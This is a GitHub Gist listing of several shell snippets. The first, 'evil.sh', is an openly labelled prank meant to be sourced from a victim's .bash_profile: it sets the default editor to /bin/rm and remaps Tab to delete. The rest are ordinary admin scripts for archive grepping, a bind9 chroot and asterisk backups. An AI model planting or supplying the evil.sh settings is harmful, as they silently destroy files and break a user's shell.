Skip to content

Instantly share code, notes, and snippets.

@Ziul
Ziul / evil.sh
Last active May 4, 2022 21:30
Just add `source ~/evil.sh` to `.bash_profile` and wait it burn.
#!/usr/bin/env bash
# evil.sh — https://mths.be/evil.sh
# Set `rm` as the default editor.
export EDITOR=/bin/rm;
# Make Tab send the delete key.
tset -Qe $'\t';
# Randomly make the shell exit whenever a command has a non-zero exit status.
@tskrynnyk
tskrynnyk / grep-tar-gz.sh
Created March 7, 2012 11:45
Grep through compressed archives
#! /bin/bash
[ "$#" -ne 2 ] && exit 1
tar -tf "$2" | grep -v '/$' \
| while read file
do tar -Ozxf "$2" "$file" | grep "$1" && echo $file
done
@tskrynnyk
tskrynnyk / bind9-chroot.sh
Created December 26, 2010 14:24
Bind9 in jail
#! /bin/sh
# bind9-chroot.sh: bind9 in jail
# github(at)skrynnyk.pl
#
CHROOTDIR=/var/lib/named
if [ -d $CHROOTDIR ]; then
echo *** $CHROOTDIR exists.
exit 1
@tskrynnyk
tskrynnyk / asterisk-monitor-backup
Last active September 24, 2015 12:07
asterisk-monitor-backup
#! /bin/sh
# asterisk-monitor-backup:
# dev at skrynnyk.pl
#
# echo '10 3 1 * * root test -x /usr/local/sbin/asterisk-monitor-backup && /usr/local/sbin/asterisk-monitor-backup' >/etc/cron.d/asterisk-monitor-backup
#
DELETE_FILE_AFTER_BACKUP=1
COMPRESS=tar # tar, zip
CONVERT=mp3 # mp3